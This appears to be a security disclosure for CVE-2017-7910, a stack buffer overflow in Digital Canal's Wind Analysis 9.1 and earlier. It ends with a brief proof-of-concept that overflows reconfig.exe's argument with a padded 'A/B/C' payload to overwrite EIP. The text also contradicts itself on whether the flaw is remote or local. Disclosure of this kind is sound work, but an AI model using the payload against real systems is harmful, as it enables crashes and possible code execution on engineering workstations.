Vendor: Digital Canal Structural Equipment: Wind Analysis Vulnerability: Stack-Based Buffer Overflow Advisory URL: https://ipositivesecurity.com/2017/06/15/ics-digital-canal-structural-wind-analysis-stack-buffer-overflow/ ICS-CERT Advisory https://ics-cert.us-cert.gov/advisories/ICSA-17-157-02 ------------------------ AFFECTED PRODUCTS ------------------------ The following versions of Wind Analysis, a structural engineering software platform, are affected: Wind Analysis versions 9.1 and prior. ------------------------ IMPACT ------------------------ Successful exploitation of this vulnerability could cause the device that the attacker is accessing to become unavailable, resulting in a denial of service. ------------------------ VULNERABILITY OVERVIEW ------------------------ STACK-BASED BUFFER OVERFLOW CWE-121 <https://cwe.mitre.org/data/definitions/121.html> An attacker may be able to run arbitrary code by remotely exploiting an executable to perform a denial-of-service attack. CVE-2017-7910 <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-7910> has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H <https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H> ). ------------------------ Exploitation ------------------------ Note: This is a local exploit, not remote. Vulnerable application reconfig.exe Exploit -> EIP overwrite C:\dcc\wind9> reconfig.exe <payload> Payload aAa*576 + aBa*4 + aCa*420 +++++